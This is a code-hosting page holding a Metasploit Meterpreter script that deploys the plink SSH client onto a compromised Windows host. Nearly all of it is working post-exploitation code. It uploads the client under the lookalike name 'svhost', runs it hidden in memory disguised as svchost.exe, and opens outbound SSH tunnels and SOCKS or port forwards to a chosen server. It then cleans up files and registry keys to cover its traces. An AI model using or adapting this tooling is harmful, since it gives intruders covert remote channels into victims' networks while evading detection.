PageRenderTime 53ms CodeModel.GetById 24ms RepoModel.GetById 0ms app.codeStats 0ms

/scripts/meterpreter/win32-sshclient.rb

https://bitbucket.org/jrossi/metasploit
Ruby | 451 lines | 423 code | 8 blank | 20 comment | 1 complexity | 9c5b3e9578bdc0bee0439b4adda8c035 MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1, BSD-3-Clause
  1. # win32-sshclient.rb
  2. #
  3. # $Id$
  4. #
  5. # Meterpreter script to deploy & run the "plink" commandline ssh-client
  6. # supports only MS-Windows-2k/XP/Vista Hosts
  7. #
  8. # Version 1.0
  9. # written by illegalguy
  10. #
  11. require 'net/http'
  12. require 'uri'
  13. meter_type = client.platform
  14. #
  15. # Options
  16. #
  17. @@exec_opts = Rex::Parser::Arguments.new(
  18. "-h" => [ false, "This help menu"],
  19. "-f" => [ true, "Do not download plink.exe but use given file."],
  20. "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
  21. "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
  22. "-p" => [ true, "The port of the remote SSH-server (Default:22)"],
  23. "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"],
  24. "-P" => [ true, "login with specified password"],
  25. "-b" => [ false, "disable all interactive prompts"],
  26. "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
  27. "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
  28. "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
  29. "-C" => [ false, "enable compression"],
  30. "-X" => [ false, "enable X11 forwarding"],
  31. "-x" => [ false, "disable X11 forwarding"],
  32. "-A" => [ false, "enable agent forwarding"],
  33. "-a" => [ false, "disable agent forwarding"],
  34. "-1" => [ false, "use SSH-protocol-version 1"],
  35. "-2" => [ false, "use SSH-protocol-version 2"],
  36. "-4" => [ false, "use IPv4"],
  37. "-6" => [ false, "use IPv6"],
  38. "-i" => [ true, "private key-file for authentication"],
  39. "-m" => [ true, "read remote command from file"],
  40. "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
  41. "-N" => [ false, "Don`t start a shell/command (SSH2 only)"],
  42. "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"],
  43. "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
  44. "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
  45. "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
  46. "-v" => [ false, "Give additional (debugging-)output"]
  47. )
  48. def usage
  49. print_line("plink ssh-client deploy+run script")
  50. print_line("This script will upload and run a plink ssh-cient")
  51. print_line(@@exec_opts.usage)
  52. raise Rex::Script::Completed
  53. end
  54. # Wrong Meterpreter Version Message Function
  55. #-------------------------------------------------------------------------------
  56. def wrong_meter_version(meter = meter_type)
  57. print_error("#{meter} version of Meterpreter is not supported with this Script!")
  58. raise Rex::Script::Completed
  59. end
  60. #
  61. # Default parameters
  62. #
  63. plink = File.join(Msf::Config.data_directory, "plink.exe")
  64. #plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
  65. #plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
  66. plinkurl = 'http://updates.metasploit.com/data/win32-ssh/plink.exe'
  67. license = <<-EOS
  68. PuTTY is copyright 1997-2010 Simon Tatham.
  69. Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.
  70. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
  71. The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
  72. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
  73. EOS
  74. #
  75. # Define required functions
  76. #
  77. def upload(client,file,trgloc = nil)
  78. if not ::File.exists?(file)
  79. raise "File to Upload does not exists!"
  80. else
  81. if trgloc == nil
  82. location = client.fs.file.expand_path("%TEMP%")
  83. else
  84. location = trgloc
  85. end
  86. begin
  87. if file =~ /S*(.exe)/i
  88. fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
  89. else
  90. fileontrgt = "#{location}\\TMP#{rand(100)}"
  91. end
  92. print_status("Uploading #{file}....")
  93. client.fs.file.upload_file(fileontrgt, file)
  94. print_status("#{file} successfully uploaded to #{fileontrgt}!")
  95. rescue ::Exception => e
  96. print_status("Error uploading file #{file}: #{e.class} #{e}")
  97. end
  98. end
  99. return fileontrgt
  100. end
  101. #
  102. # Option parsing
  103. #
  104. username = nil
  105. password = nil
  106. rhost = nil
  107. rport = 22
  108. manual = nil
  109. hostkey = nil
  110. batchmode = nil
  111. remotefwd = nil
  112. localfwd = nil
  113. socksfwd = nil
  114. enablecompression = nil
  115. enablex11fwd = nil
  116. disablex11fwd = nil
  117. enableagentfwd = nil
  118. disableagentfwd = nil
  119. sshv1 = nil
  120. sshv2 = nil
  121. ipv4 = nil
  122. ipv6 = nil
  123. keyfile = nil
  124. cmdfile = nil
  125. sshsubsys = nil
  126. noshell = nil
  127. nctunnel = nil
  128. processname = "C:\\windows\\system32\\svchost.exe"
  129. verbose = nil
  130. filemode = nil
  131. downloaded = nil
  132. @@exec_opts.parse(args) { |opt, idx, val|
  133. case opt
  134. when "-h"
  135. usage
  136. when "-H"
  137. if !val
  138. print_error("-H requires an argument !")
  139. usage
  140. end
  141. rhost = val
  142. when "-f"
  143. if !val
  144. print_error("-f requires an argument !")
  145. usage
  146. end
  147. plink = val
  148. if not ::File.exists?(plink)
  149. print_error("Plink.exe not found/accessible!")
  150. usage
  151. end
  152. manual = true
  153. when "-r"
  154. if !val
  155. print_error("-r requires an argument !")
  156. usage
  157. end
  158. hostkey = val
  159. when "-p"
  160. rport = val.to_i
  161. when "-U"
  162. if !val
  163. print_error("-u requires an argument !")
  164. usage
  165. end
  166. plinkurl = val
  167. when "-u"
  168. if !val
  169. print_error("-u requires an argument !")
  170. usage
  171. end
  172. username = val
  173. when "-P"
  174. if !val
  175. print_error("-P requires an argument !")
  176. usage
  177. end
  178. password = val
  179. when "-b"
  180. batchmode = true
  181. when "-R"
  182. if !val
  183. print_error("-R requires an argument !")
  184. usage
  185. end
  186. remotefwd = val
  187. when "-L"
  188. if !val
  189. print_error("-L requires an argument !")
  190. usage
  191. end
  192. localfwd = val
  193. when "-D"
  194. if !val
  195. print_error("-D requires an argument !")
  196. usage
  197. end
  198. socksfwd = val
  199. when "-C"
  200. enablecompression = true
  201. when "-X"
  202. enablex11fwd = true
  203. when "-x"
  204. disablex11fwd = true
  205. when "-A"
  206. enableagentfwd = true
  207. when "-a"
  208. disableagentfwd = true
  209. when "-1"
  210. sshv1 = true
  211. when "-2"
  212. sshv2 = true
  213. when "-4"
  214. ipv4 = true
  215. when "-6"
  216. ipv6 = true
  217. when "-i"
  218. if !val
  219. print_error("-i requires an argument !")
  220. usage
  221. end
  222. keyfile = val
  223. if not ::File.exists?(keyfile)
  224. print_error("keyfile not found or not accessible!")
  225. usage
  226. end
  227. when "-m"
  228. if !val
  229. print_error("-m requires an argument !")
  230. usage
  231. end
  232. cmdfile = val
  233. if not ::File.exists?(cmdfile)
  234. print_error("cmd-file not found/accessible!")
  235. usage
  236. end
  237. when "-s"
  238. sshsubsys = true
  239. when "-N"
  240. noshell = true
  241. when "-n"
  242. if !val
  243. print_error("-n requires an argument !")
  244. usage
  245. end
  246. nctunnel = val
  247. when "-E"
  248. if !val
  249. print_error("-E requires an argument !")
  250. usage
  251. end
  252. processname = val
  253. when "-v"
  254. verbose = true
  255. when "-F"
  256. filemode = true
  257. else
  258. print_error("Unknown option: #{opt}")
  259. usage
  260. end
  261. }
  262. # Check for Version of Meterpreter
  263. wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
  264. if not rhost or not username
  265. print_status("You must specify a hostname (-H) and username (-u)")
  266. raise Rex::Script::Completed
  267. end
  268. #
  269. # Check if plink-file exists, and if not : download from putty-site first
  270. # Ask user before downloading
  271. #
  272. if not manual
  273. if not ::File.exists?(plink)
  274. print_status("plink.exe could not be found. Downloading it now...")
  275. print_status(license)
  276. plinkexe = Net::HTTP.get URI.parse(plinkurl)
  277. File.open(plink, "wb") { |fd| fd.write(plinkexe) }
  278. print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
  279. downloaded = true
  280. end
  281. end
  282. #
  283. # Uploading files to target
  284. #
  285. cmdfileontrgt = upload(client, cmdfile) if cmdfile
  286. keyfileontrgt = upload(client, keyfile) if keyfile
  287. trg_filename = nil
  288. if filemode
  289. print_status("-------Uploading plink -------")
  290. trg_filename = upload(client, plink)
  291. else
  292. trg_filename = plink
  293. end
  294. #
  295. # Build parameter-string
  296. #
  297. params = "-ssh "
  298. params << "-P #{rport} " if not rport == 22
  299. params << "-l #{username} "
  300. params << "-pw #{password} " if password
  301. params << "-batch " if batchmode
  302. params << "-R #{remotefwd} " if remotefwd
  303. params << "-L #{localfwd} " if localfwd
  304. params << "-D #{socksfwd} " if socksfwd
  305. params << "-C " if enablecompression
  306. params << "-X " if enablex11fwd
  307. params << "-x " if disablex11fwd
  308. params << "-A " if enableagentfwd
  309. params << "-a " if disableagentfwd
  310. params << "-1 " if sshv1
  311. params << "-2 " if sshv2
  312. params << "-4 " if ipv4
  313. params << "-6 " if ipv6
  314. params << "-m #{cmdfileontrgt} " if cmdfileontrgt
  315. params << "-i #{keyfileontrgt} " if keyfileontrgt
  316. params << "-s " if sshsubsys
  317. params << "-N " if noshell
  318. params << "-nc #{nctunnel} " if nctunnel
  319. params << rhost
  320. #
  321. # Set Registry-Value before running the client, if the param was specified
  322. #
  323. hostkeyname = nil
  324. if not hostkey == nil
  325. hostkeyname = "rsa2@#{rport}:#{rhost}"
  326. print_status("Writing the Hostkey to the registry...")
  327. client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
  328. end
  329. #
  330. # Give additional output when -v is set
  331. #
  332. if verbose
  333. print_status("You set the following parameters for plink :")
  334. print_status(params)
  335. print_status(processname)
  336. end
  337. #
  338. # Execute the client
  339. #
  340. print_status("-------Executing Client ------")
  341. p = nil
  342. if not filemode
  343. p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
  344. else
  345. p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
  346. end
  347. if noshell == nil
  348. client.console.run_single("interact #{p.channel.cid}")
  349. end
  350. if filemode
  351. if not noshell == true
  352. if verbose
  353. print_status("Waiting 3 seconds to be sure the process was closed.")
  354. end
  355. sleep(3)
  356. if verbose
  357. print_status("Deleting the uploaded plink.exe...")
  358. end
  359. client.fs.file.rm(trg_filename)
  360. else
  361. print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
  362. end
  363. end
  364. if not keyfile == nil
  365. if verbose
  366. print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
  367. end
  368. sleep(1)
  369. if verbose
  370. print_status("Deleting the keyfile !")
  371. end
  372. if verbose
  373. print_status(keyfile)
  374. end
  375. client.fs.file.rm(keyfile)
  376. end
  377. if not cmdfile == nil
  378. print_status("You need to manually delete the uploaded #{cmdfile} !")
  379. end
  380. #
  381. # Delete the registry-key that may have been created
  382. #
  383. if not hostkey == nil
  384. if verbose
  385. print_status("Deleting the registry-key set by the script.")
  386. end
  387. client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
  388. end
  389. raise Rex::Script::Completed